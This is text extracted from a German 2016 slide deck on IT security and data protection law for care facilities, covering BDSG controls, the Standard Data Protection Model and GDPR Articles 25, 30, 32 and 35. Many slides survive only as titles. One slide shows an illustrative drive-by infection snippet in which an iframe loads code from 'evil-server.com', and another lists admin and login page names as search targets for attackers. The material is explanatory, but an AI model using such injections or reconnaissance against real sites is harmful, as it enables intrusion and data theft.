Source: http://docplayer.org/63646681-It-sicherheitsfragen-in-pflegeeinrichtungen-rechtsgrundlagen-mit-blick-auf-die-eu-dsgvo.html
Timestamp: 2020-07-15 17:44:55+00:00

Document:
IT-Sicherheitsfragen in Pflegeeinrichtungen. Rechtsgrundlagen mit Blick auf die EU DSGVO - PDF Kostenfreier Download
IT-Sicherheitsfragen in Pflegeeinrichtungen. Rechtsgrundlagen mit Blick auf die EU DSGVO
Download "IT-Sicherheitsfragen in Pflegeeinrichtungen. Rechtsgrundlagen mit Blick auf die EU DSGVO"
Kora Arnold
1 IT-Sicherheitsfragen in Pflegeeinrichtungen. Rechtsgrundlagen mit Blick auf die EU DSGVO Update 2016, Wiesbaden H. Eiermann Folie 1
2 Agenda Sicherheit der Verarbeitung / Risiken Sicherheit der Verarbeitung / gesetzliche Vorgaben Europäische Datenschutzgrundverordnung Was kommt? 2 H. Eiermann Folie 2
3 Datenkranz Pflege Stammdaten/Kontaktdaten Erkrankungen/Diagnosen Verordnungen/Medikamente Heil- und Hilfmittel Ernährungsvorgaben Pflegestatus Risikofaktoren Pflegeplanung Pflegeleistungen Pflegeberichte H. Eiermann Folie 3
4 H. Eiermann Folie 4
5 H. Eiermann Folie 5
6 H. Eiermann Folie 6
7 H. Eiermann Folie 7
8 H. Eiermann Folie 8
9 H. Eiermann Folie 9
10 H. Eiermann Folie 10
11 ... admin.asp, admin.js, admin.html Wir finden Dich... login.asp, login.js, login.html... anmeldung.asp, anmeldung.js, anmeldung.html H. Eiermann Folie 11
12 Hackers Google H. Eiermann Folie 12
13 Hackers Google H. Eiermann Folie 13
14 Hackers Google H. Eiermann Folie 14
15 BSI Lagebericht IT-Sicherheit Drive-by-Exploits Größte Gefahr bei Sicherheitslücken in Anwendungssoftware (CERT-Bund: 20/Woche) H. Eiermann Folie 15
16 Drive-by-Infection server.com evil-server.com <html> <iframe src=evil-server.com/eval.php </body> Evaluation Clientdaten: Betriebssystem Browsertyp / Version Konfiguration Plugins Exploit Schadcode - Fernsteuerung - Keylogger - Scanner - H. Eiermann Folie 16
17 H. Eiermann Folie 17
18 H. Eiermann Folie 18
19 Drive-by-Infection H. Eiermann Folie 19
20 Drive-by-Infection H. Eiermann Folie 20
21 Agenda Sicherheit der Verarbeitung / Technikregelungen Datenschutzfolgeabschätzung (Vorabkontrolle) Verfahrensverzeichnis 21 H. Eiermann Folie 21
22 97 SGB XI H. Eiermann Folie 22
23 97d SGB XI H. Eiermann Folie 23
24 H. Eiermann Folie 24
25 Kriterien - Technisch-organisatorische Anforderungen Anlage zu 9 BDSG Zutrittskontrolle Zugangskontrolle Zugriffskontrolle Weitergabekontrolle Eingabekontrolle Auftragskontrolle Verfügbarkeitskontrolle Zweckbindungskontrolle H. Eiermann Folie 25
26 IT-Entwicklung 9 BDSG (Anlage) Zutrittskontrolle Zugangskontrolle Zugriffskontrolle Weitergabekontrolle Eingabekontrolle Auftragskontrolle Verfügbarkeitskontrolle Zweckbindungskontrolle mobile Datenverarbeitung Individuelle Datenverarbeitung + Internet Cloud Computing mobile Datenverarbeitung + Internet Individuelle Datenverarbeitung 70er Jahre H. Eiermann Folie 26
27 9 BDSG (Anlage) Zutrittskontrolle? Zugangskontrolle Zugriffskontrolle? Weitergabekontrolle Eingabekontrolle? Auftragskontrolle? Verfügbarkeitskontrolle Zweckbindungskontrolle mobile Datenverarbeitung Cloud Computing 27 H. Eiermann Folie 27
28 Datenschutz in IT-Verfahren - Kontinuität Einzelne IT-Trends wiederholen sich auf einem höheren technischen Niveau, z.b.: Vernetzung Zentralisierung Grundlegende Konzepte des technischen Datenschutzes haben dabei Bestand: Benutzerverwaltung Berechtigungskonzept Löschkonzept Protokollierung H. Eiermann H. Eiermann Folie 28
29 Datenschutz technisch-organisatorische Maßnahmen IT-Sicherheit H. Eiermann Folie 29
30 Systematik der IT-Sicherheit / IT-Grundschutz Verfügbarkeit Vertraulichkeit Integrität H. Eiermann Folie 30
31 * Eckpunkte der Konferenz der Datenschutzbeauftragten des Bundes und der Länder Ein modernes Datenschutzrecht für das 21. Jahrhundert ( ) H. Eiermann Folie 31
32 Technikregelungen der Datenschutzgesetze Kontrollarten Zutrittskontrolle Zugangskontrolle Zugriffskontrolle Weitergabekontrolle Eingabekontrolle Auftragskontrolle Verfügbarkeitskontrolle zweckbezogene Verarbeitung technikoffene Schutzziele * Verfügbarkeit Integrität Vertraulichkeit Transparenz Authentizität Revisionsfähigkeit Nichtverkettbarkeit Intervenierbarkeit Systemdatenschutz Audit / Zertifizierung Selbstdatenschutz * Eckpunkte der Konferenz der Datenschutzbeauftragten des Bundes und der Länder Ein modernes Datenschutzrecht für das 21. Jahrhundert ( ) H. Eiermann Folie 32
33 Das Standard-Datenschutzmodell 33 H. Eiermann Folie 33
34 H. Eiermann Folie 34
35 H. Eiermann Folie 35
36 H. Eiermann Folie 36
37 H. Eiermann Folie 37
38 H. Eiermann Folie 38
39 H. Eiermann Folie 39
40 H. Eiermann Folie 40
41 Schutzbedarfskategorien nach dem Standard-Datenschutzmodell* * Handbuch Standard-Datenschutzmodell V 0.9a, Seite 32 H. Eiermann Folie 41
42 Schutzbedarfskategorien nach dem Standard-Datenschutzmodell* * Handbuch Standard-Datenschutzmodell V 0.9a, Seite 32 H. Eiermann Folie 42
43 Schutzbedarfskategorien nach dem Standard-Datenschutzmodell* * Handbuch Standard-Datenschutzmodell V 0.9a, Seite 32 H. Eiermann Folie 43
44 Zuordnung Gesetzliche Anforderungen / Schutzziele * * Handbuch Standard-Datenschutzmodell V 1.0, Seite 20 H. Eiermann Folie 44
45 H. Eiermann Folie 45
46 IT in der Arztpraxis H. Eiermann Folie 46
47 H. Eiermann Folie 47
48 H. Eiermann Folie 48
49 H. Eiermann Folie 49
50 Was ändert sich mit der Europäischen Datenschutzgrundverordnung? H. Eiermann Folie 50
51 Die Datenschutz-Grundverordnung risk based approach 51 H. Eiermann Folie 51
52 EU Datenschutz-Grundverordnung - Instrumentarium Sicherheitsmaßnahmen Verhaltensregeln Datenschutzfolgeabschätzung Zertifizierung Datenschutzsiegel und -prüfzeichen H. Eiermann Folie 52
53 EU DSGVO Erwägungsgrund 78 H. Eiermann Folie 53
54 EU DSGVO Erwägungsgrund 83?! H. Eiermann Folie 54
55 EU DSGVO Erwägungsgrund 84 H. Eiermann Folie 55
56 EU DSGVO Art. 25 Datenschutz durch Technik & Voreinstellung Risikoadäquanz H. Eiermann Folie 56
57 EU DSGVO Art. 25 Datenschutz durch Technik & Voreinstellung Datenmodell Löschkonzept Rollen-/Berechtigungskonzept H. Eiermann Folie 57
58 EU DSGVO Art. 32 Sicherheit der Verarbeitung Risikoadäquanz Angemessene TOM 58 H. Eiermann Folie 58
59 EU DSGVO Art. 32 Sicherheit der Verarbeitung Vertraulichkeit Integrität Verfügbarkeit Sicherheitsmanagement 59 H. Eiermann Folie 59
60 EU DSGVO Art. 32 Sicherheit der Verarbeitung Risikoanalyse und -bewertung H. Eiermann Folie 60
61 EU DSGVO Art. 32 Sicherheit der Verarbeitung Nr. 4 Anlage 9 BDSG [ ] zu gewährleisten, dass personenbezogene Daten bei der elektronischen Übertragung oder während ihres Transports oder ihrer Speicherung auf Datenträger nicht unbefugt gelesen, kopiert, verändert oder entfernt werden können, und dass überprüft und festgestellt werden kann, an welche Stellen eine Übermittlung personenbezogener Daten durch Einrichtungen zur Datenübertragung vorgesehen ist (Weitergabekontrolle), H. Eiermann Folie 61
62 EU DSGVO Art. 32 Sicherheit der Verarbeitung Codes of Conduct (Selbstverpflichtung) 62 H. Eiermann Folie 62
63 EU DSGVO Art Verhaltensregeln Datenschutzausschuss = ehem. Art. 29-Gruppe 63 H. Eiermann Folie 63
64 EU DSGVO Art. 42 Zertifizierung Zertifizierungsverfahren Gütesiegel / Zertifikate 64 H. Eiermann Folie 64
65 Erwägungsgrund (166) Art. 42 Abs. 8 EU DSGVO 65 H. Eiermann Folie 65
66 EU DSGVO Art. 30 Konkretisierung EU-Mitgliedsstaaten EU-Kommission Codes of Conduct EU-Datenschutzausschuss Aufsichtsbehörden Verbände Zertifizierungen EU-Kommission (delegierte Rechtsakte) 66 H. Eiermann Folie 66
67 EU-Mitgliedsstaaten EU-Kommission Codes of Conduct EU-Datenschutzausschuss Aufsichtsbehörden Verbände z.b.: BSI: BSI Standards bis 4 ISO / IEC H. Eiermann Folie 67
68 EU-Mitgliedsstaaten EU-Kommission Codes of Conduct EU-Datenschutzausschuss Aufsichtsbehörden Verbände 68 z.b.: ENISA: Leitlinien für Sicherheitsmaßnahmen Zu Art. 4/13 der e-privacy-richtlinie (2992/58/EC) EuroPrise: Sichereheitsmaßnahmen nach dem Europäischen Datenschutzsiegel 2013/0027 (COD): Entwurf EU-Richtlinie zur Netzwer- Informationssicherheit H. Eiermann Folie 68
69 EU-Mitgliedsstaaten EU-Kommission Codes of Conduct EU-Datenschutzausschuss Aufsichtsbehörden Verbände z.b.: DSB-Konferenez (D) CNIL (F) [ ] Standard Datenschutzmodell Good Practice Catalogue [ ] 69 Art. 29-Gruppe H. Eiermann Folie 69
70 EU-Mitgliedsstaaten EU-Kommission Codes of Conduct EU-Datenschutzausschuss Aufsichtsbehörden Verbände z.b.: Datenschutzstandard DS-BvD-GDD-01 CoC Versicherungswirtschaft [ ] 70 H. Eiermann Folie 70
71 Zertifizierungen EU-Kommission (delegierte Rechtsakte) 71 H. Eiermann Folie 71
72 EU DSGVO Datenschutzund IT-Sicherheits- Verfügbarkeit Maßnahmen Integrität Vertraulichkeit Authentizität??? Revisionsfähigkeit Systemdatenschutz Audit / Zertifizierung 72 H. Eiermann Folie 72
73 BDSG / LDSG Rechtsanpassung: BDSG-Neu? LDSG-Neu? DS-Regelungen in SpezialG neu? Mai 2016 Verabschiedung EU DSGVO 25. Mai 2018 Technische Datenschutzvorgaben: In-Kraft-Treten EU DSGVO Codes of Conduct? Best Practice? Audit/Zertifizierung? H. Eiermann Folie 73
74 Kriterien - Technisch-organisatorische Anforderungen Technisch-organisatorische Maßnahmen 9 Abs. 2 LDSG Zutrittskontrolle Zugangskontrolle Zugriffskontrolle Weitergabekontrolle Eingabekontrolle Auftragskontrolle Verfügbarkeitskontrolle Zweckbindungskontrolle Dokumentationskontrolle Verarbeitungskontrolle Kernbereiche Benutzerverwaltung Berechtigungskonzept Dokumentation Protokollierung Löschung H. Eiermann Folie 74
75 Neu! Bußgeld. H. Eiermann Folie 75
76 Derzeitige Situation 38 Abs. 5 BDSG Schwerwiegender techn.-org. Mangel Anordnungsverfahren Zwangsgeldandrohung Zwangsgeldverhängung Bußgeld H. Eiermann Folie 76
77 EU DSGVO Art. 30 Technisch-organisatorisch Maßnahmen 78 H. Eiermann Folie 78
78 Agenda Datenschutzfolgeabschätzung 79 H. Eiermann Folie 79
79 EU Datenschutzrichtlinie 95/46 Erwägungsgrund (53) Bestimmte Verarbeitungen können jedoch aufgrund ihrer Art, ihrer Tragweite oder ihrer Zweckbestimmung - wie beispielsweise derjenigen, betroffene Personen von der Inanspruchnahme eines Rechts, einer Leistung oder eines Vertrags auszuschließen - oder aufgrund der besonderen Verwendung einer neuen Technologie besondere Risiken im Hinblick auf die Rechte und Freiheiten der betroffenen Personen aufweisen. H. Eiermann Folie 80
80 Hintergrund EU Datenschutzrichtlinie 95/46 Erwägungsgrund (53) Art der Daten Tragweite (z.b. Automatisierte Einzelentscheidung, (neue) Technologie Art. 20 Vorabkontrolle Verarbeitungen mit spezifischen Risiken Prüfung vor Aufnahme des Verfahrens H. Eiermann Folie 81
81 Hintergrund EU Datenschutzrichtlinie 95/46 Erwägungsgrund (53) Art der Daten Tragweite (z.b. Automatisierte Einzelentscheidung, (neue) Technologie Artikel Art Vorabkontrolle Verarbeitungen mit spezifischen Risiken (1) Die Mitgliedstaaten legen fest, welche Verarbeitungen spezifische Risiken für die Prüfung Rechte und vor Freiheiten Aufnahme der des Personen Verfahrens beinhalten können, und tragen dafür Sorge, daß diese Verarbeitungen vor ihrem Beginn geprüft werden. (2) Solche Vorabprüfungen nimmt die Kontrollstelle nach Empfang der Meldung des für die Verarbeitung Verantwortlichen vor, oder sie erfolgen durch den Datenschutzbeauftragten, der im Zweifelsfall die Kontrollstelle konsultieren muß. H. Eiermann Folie 82
82 Hintergrund EU Datenschutzrichtlinie 95/46 Erwägungsgrund (53) Art der Verarbeitung (vgl. 29a, 29b DSG NRW) Tragweite (z.b. Automatisierte Einzelentscheidung, Art. 20 Vorabkontrolle Verarbeitungen mit spezifischen Risiken Prüfung vor Aufnahme des Verfahrens Umsetzung in nationales Recht BDSG 4 d Abs. 5 BDSG LDSGe 9 Abs. 5 LDSG i.v.m. 3 Abs. 9 LDSG H. Eiermann Folie 83
83 Prüfungsgesichtspunkte der Vorabkontrolle inhaltliche / rechtliche Anforderungen formale Anforderungen technisch-organisatorische Anforderungen H. Eiermann Folie 84
84 Kriterien - Inhaltliche Anforderungen Zulässigkeit (Rechtsgrundlage/Einwilligung) Grundsätze der Datensparsamkeit und Datenvermeidung 5 Abs. 1-3 LDSG 1 Abs. 3 LDSG Datenumfang Personenbezug / Pseudonymisierung Voraussetzungen für die Verarbeitung besonderer personenbezogener Daten Wahrung/Gewährleistung der Rechte der Betroffenen 5 Abs. 4 LDSG 6 Abs. 1 LDSG Beteiligung, Auskunft, Sperrung H. Eiermann Folie 85
85 Kriterien - Inhaltliche Anforderungen Auftragsdatenverarbeitung 4 LDSG schriftlicher Auftrag Gewährleistung Sicherheitsmaßnahmen Wahrnehmung der Kontrollpflichten Verpflichtung ggf. Unterrichtung/Genehmigung der Aufsichtsbbehörde Berücksichtigung besonderer Berufs- und Amtsgeheimnisse Löschung 19 Abs. 2 LDSG Erforderlichkeit Fristen H. Eiermann Folie 86
86 Kriterien - Formale Anforderungen Verfahrensverzeichnis Anhörung des LfD Zulassungen soweit erforderlich Information / Unterrichtung des Betroffenen Dienstanweisung Verpflichtung 10 Abs. 2 LDSG 7 Abs. 3 LDSG 7 Abs. 3 und 5 LDSG 5 Abs. 5 Nr. 2 LDSG 9 Abs. 6 LDSG 8 Abs. 2 LDSG H. Eiermann Folie 87
87 EU DSGVO Erwägungsgrund 84 H. Eiermann Folie 88
88 Art 35 EU DSGVO - Datenschutzfolgeabschätzung H. Eiermann Folie 89
89 Art 35 EU DSGVO - Datenschutzfolgeabschätzung H. Eiermann Folie 90
90 Art 35 EU DSGVO - Datenschutzfolgeabschätzung H. Eiermann Folie 91
91 Art 35 EU DSGVO - Datenschutzfolgeabschätzung H. Eiermann Folie 92
92 Art 35 EU DSGVO - Datenschutzfolgeabschätzung H. Eiermann Folie 93
93 Neu! Bußgeld. H. Eiermann Folie 94
94 EU DSGVO Art. 30 Datenschutzfolgeabschätzung 95 H. Eiermann Folie 95
95 Agenda Verfahrensverzeichnis 96 H. Eiermann Folie 96
96 EU DSGVO Erwägungsgrund 82 H. Eiermann Folie 97
97 Art. 30 EU DSGVO Verfahrensverzeichnis H. Eiermann Folie 98
98 Art. 30 EU DSGVO Verfahrensverzeichnis H. Eiermann Folie 99
99 Art. 30 EU DSGVO Verfahrensverzeichnis H. Eiermann Folie 100
100 Art. 30 EU DSGVO Verfahrensverzeichnis H. Eiermann Folie 101
101 EU DSGVO Erwägungsgrund (89) H. Eiermann Folie 102
102 Neu! Bußgeld. H. Eiermann Folie 103
103 EU DSGVO Art. 30 Verfahrensverzeichnis 104 H. Eiermann Folie 104
104 Helmut Eiermann Gruppenleiter Technik Hintere Bleiche Mainz Tel (06131) Fax (06131) H. Eiermann Folie 105
Hippokrates Praxen im Netz
Hippokrates 2.0 - Praxen im Netz Medizinrechtssymposium der Bezirksärztekammer Trier Trier, 17.2.2016 H. Eiermann > 50 % der Praxen verfügen über eine Internet-Präsenz Praxisinformationen, Schwerpunkte,
Herzlich willkommen! 19.9. Bad Homburg 21.9. Düsseldorf 26.9. München DATENSCHUTZ Tobias R. Hoffmann Agenda Was ist Datenschutz? eine Einführung Aktuelles Imagegewinn für das Systemhaus Erweiterung des
Das sichere Rechenzentrum Normkonform und ökonomisch sinnvoll?!
Das sichere Rechenzentrum Normkonform und ökonomisch sinnvoll?! Dr. Andreas Gabriel Ethon GmbH 08. Oktober 2014 KURZE VORSTELLUNG 2 Über die Ethon GmbH Über die Ethon GmbH 2003: Gründung Ethon Technologies

References: Art. 25
 Art. 25
 Art. 32
 Art. 32
 Art. 32
 Art. 32
 Art. 32
 Art. 29
 Art. 42
 Art. 42
 Art. 30
 Art. 4
 Art. 29
 Art. 30
 Art. 20
 Art. 20
 Art. 30
 Art. 30
 Art. 30
 Art. 30
 Art. 30
 Art. 30